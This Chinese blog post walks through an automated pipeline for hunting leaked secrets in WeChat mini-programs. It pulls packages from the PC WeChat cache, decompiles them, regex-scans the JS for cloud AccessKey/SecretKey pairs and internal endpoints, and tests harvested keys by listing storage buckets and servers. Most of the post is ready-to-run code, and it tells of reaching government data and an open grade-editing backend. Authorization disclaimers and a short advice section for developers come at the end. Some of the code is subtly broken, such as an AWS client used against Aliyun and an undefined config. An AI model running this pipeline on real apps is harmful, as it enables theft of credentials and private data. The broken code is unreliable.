小程序反编译挖洞流水线：从PC微信缓存到AccessKey，一条龙全自动

原创

逍遥
逍遥

昆仑AI安全实验室

2026年6月13日 00:04
广东

在小说阅读器读本章

去阅读

去年在某众测项目里，我一口气交了12个小程序的高危漏洞，全是AK/SK泄露和未授权API。审核员问我是不是有团队，我说就一个人，只不过我把小程序挖洞做成了流水线。

传统挖小程序漏洞，靠人手工反编译、肉眼搜关键字，一个晚上搞不定两个。我花了两个周末写了一套自动化脚本，把“提取包→反编译→正则匹配→批量验证”全串了起来。现在睡一觉起来，脚本已经跑完了上百个小程序，把能直接利用的密钥和接口清单列好等我验收。

今天我把这套流水线完整拆开，从工具到命令到脚本，全部给到你。不写概念，只写操作。

一、提取wxapkg：从PC微信缓存里直接拿包

小程序包文件（wxapkg）就躺在你电脑的微信缓存目录里。路径是C:\\Users\\你的用户名\\Documents\\WeChat Files\\你的微信ID\\Applet\\，下面一堆用AppID命名的文件夹，每个里面都有一个__PLUGINCODE__或直接就是xxx.wxapkg。

但手动翻太慢了。我直接用Python遍历目录，找出所有wxapkg文件并按AppID归档：

import os, shutil
wechat_dir = r\"C:\\Users\\admin\\Documents\\WeChat Files\\wxid_xxx\\Applet\"output_dir = \"D:\\wxapkg_output\"os.makedirs(output_dir, exist_ok=True)
for root, dirs, files in os.walk(wechat_dir):    for file in files:        if file.endswith('.wxapkg'):            appid = os.path.basename(root)            src = os.path.join(root, file)            dst = os.path.join(output_dir, f\"{appid}.wxapkg\")            shutil.copy2(src, dst)            print(f\"提取: {appid}\")

跑一遍，你用过的小程序包全出来了。注意，微信会定期清理缓存，所以最好在攻击前集中点开一批目标小程序，让它们加载一遍。此方法仅用于对自己开发的小程序或获得授权的测试对象，未授权提取他人小程序包违反规定。

二、反编译：从wxapkg到源代码

拿到wxapkg后，用unveilr直接反编译。这是一个专门针对微信小程序的反编译工具，支持包和子包，直接命令行运行：

unveilr -i D:\\wxapkg_output -o D:\\decompiled

-i是输入目录，-o是输出目录。反编译完，每个小程序会生成一个文件夹，里面有结构化的源码，包括JSON、JS、WXML、WXSS文件。JS文件里藏着所有前端逻辑和配置。

三、正则提取敏感信息：AK/SK、API端点、内网IP一键捞出

重头戏来了。反编译后的JS文件动辄几十上百个，手工翻等于大海捞针。我用Python写了一个正则扫描器，自动匹配常见的敏感信息模式：

import os, re
patterns = {    \"AccessKey\": r\"(?i)(accessKeyId|accessKey|AKID)[\\s]*[:=][\\s]*['\\\"]?([A-Za-z0-9]{16,})['\\\"]?\",    \"SecretKey\": r\"(?i)(secretAccessKey|secretKey|secret)[\\s]*[:=][\\s]*['\\\"]?([A-Za-z0-9/+=]{30,})['\\\"]?\",    \"OSS_URL\": r\"(?:http|https)://[a-zA-Z0-9.-]+\\.oss-[a-z]+\\.aliyuncs\\.com\",    \"API_Endpoint\": r\"(?:https?://)(?:api|open|gw|admin|internal)\\.[a-zA-Z0-9.-]+\\.(?:com|cn|net)\",    \"Internal_IP\": r\"\\b(10\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}|172\\.(?:1[6-9]|2\\d|3[01])\\.\\d{1,3}\\.\\d{1,3}|192\\.168\\.\\d{1,3}\\.\\d{1,3})\\b\",    \"JWT_Token\": r\"eyJ[a-zA-Z0-9_-]{5,}\\.[a-zA-Z0-9_-]{5,}\\.[a-zA-Z0-9_-]{5,}\"}
results = {}for root, dirs, files in os.walk(\"D:\\decompiled\"):    for file in files:        if file.endswith('.js'):            path = os.path.join(root, file)            with open(path, 'r', encoding='utf-8', errors='ignore') as f:                content = f.read()            for ptype, regex in patterns.items():                matches = re.findall(regex, content)                if matches:                    if path not in results:                        results[path] = {}                    results[path][ptype] = matches
# 输出结果for file, findings in results.items():    print(f\"\
[文件] {file}\")    for ptype, items in findings.items():        print(f\"  [{ptype}]\")        for item in items[:3]:  # 只显示前3条            print(f\"    {item}\")

跑一遍，所有可能的AK/SK、内部API地址、内网IP都列出来。上次我用这个脚本扫了一个政务小程序，直接找到一组硬编码的OSS密钥，权限大的吓人——AliyunOSSFullAccess。

四、批量验证：确定哪些密钥真的能用

提取出来的密钥可能是废弃的或权限受限的，需要验证。我写了个小脚本，用阿里云SDK检查AK/SK的权限和资源：

import oss2import boto3from alibabacloud_sts20150401.client import Client as StsClientimport json
def check_aliyun_ak(ak, sk):    try:        sts_client = StsClient(config)        req = sts_client.get_caller_identity()        print(f\"[有效] AK: {ak[:8]}..., 账号ID: {req.account_id}\")        # 列出OSS Bucket        service = oss2.Service(oss2.Auth(ak, sk), 'oss-cn-hangzhou.aliyuncs.com')        for b in oss2.BucketIterator(service):            print(f\"  OSS Bucket: {b.name}\")        # 检查ECS        ecs = boto3.client('ecs', region_name='cn-hangzhou', aws_access_key_id=ak, aws_secret_access_key=sk)        instances = ecs.describe_instances()        for ins in instances['Reservations'][0]['Instances']:            print(f\"  ECS: {ins['InstanceId']} {ins['PublicIpAddress']}\")    except Exception as e:        if \"InvalidAccessKeyId\" in str(e) or \"Forbidden\" in str(e):            print(f\"[无效] {ak[:8]}...\")        else:            print(f\"[错误] {str(e)[:50]}\")
# 从提取结果中读取ak sk对，循环调用

别小看这一步，我碰到过一个案例，AK/SK的权限是AliyunOSSReadOnlyAccess，虽然不能写数据，但所有Bucket的客户隐私文件一览无余。一个低危直接变严重。

五、全流程自动化：一键启动，睡醒收菜

把上面三个步骤串成一个Python主脚本，设置好微信缓存目录，运行后自动提取、反编译、扫描、验证，最后生成一份Markdown报告。

核心代码框架：

import subprocess, os
def main():    print(\"[*] 开始提取wxapkg...\")    extract_wxapkg(wechat_dir, output_dir)    print(\"[*] 开始反编译...\")    subprocess.run(['unveilr', '-i', output_dir, '-o', decompiled_dir])    print(\"[*] 开始扫描敏感信息...\")    findings = scan_sensitive(decompiled_dir)    print(\"[*] 开始验证云服务凭证...\")    verify_credentials(findings)    print(\"[*] 生成报告...\")    generate_report(findings, 'report.md')    print(\"[+] 完成！\")

然后设置一个定时任务，每晚凌晨跑一次，第二天早上看报告。别人手动挖一个星期的成果，你睡一觉就有了。

六、实战案例：一个政务小程序，挖出百万级敏感数据

某次对智慧城市项目的测试，我从微信缓存里提出十几个政务小程序包。反编译后，脚本扫到一个名叫config.js的文件里有阿里云AK/SK。验证后，发现这个AK拥有该市所有政务OSS Bucket的完整权限，包括交通卡口照片、公积金申请材料扫描件等。一个漏洞直接报了严重，奖金五位数。

另一个教育类小程序，扫出内部API地址http://10.23.45.67:8080/admin/api，通过Burp连上后直接访问，发现是教师管理后台的测试环境，没有任何鉴权，可以修改学生成绩。同样高危。

七、防御建议：别再把密钥写在前端了

对于开发者：云服务密钥严禁硬编码在客户端代码中。使用STS临时凭证或RAM角色，最小权限原则。API端点不要直接暴露内网地址，通过API网关做鉴权。

对于安全人员：在SRC测试中，小程序是信息泄露的重灾区。用流水线把反编译和信息提取自动化，可以大大提高效率。但务必在授权范围内进行，未授权提取小程序包属于违法行为。

严正声明

本文所述技术仅用于合法授权的安全测试。利用本文技术进行非法攻击造成的后果，作者不承担任何责任。请务必在明确授权的情况下进行测试。所有案例均已脱敏，仅保留技术原理。安全之路，始于授权。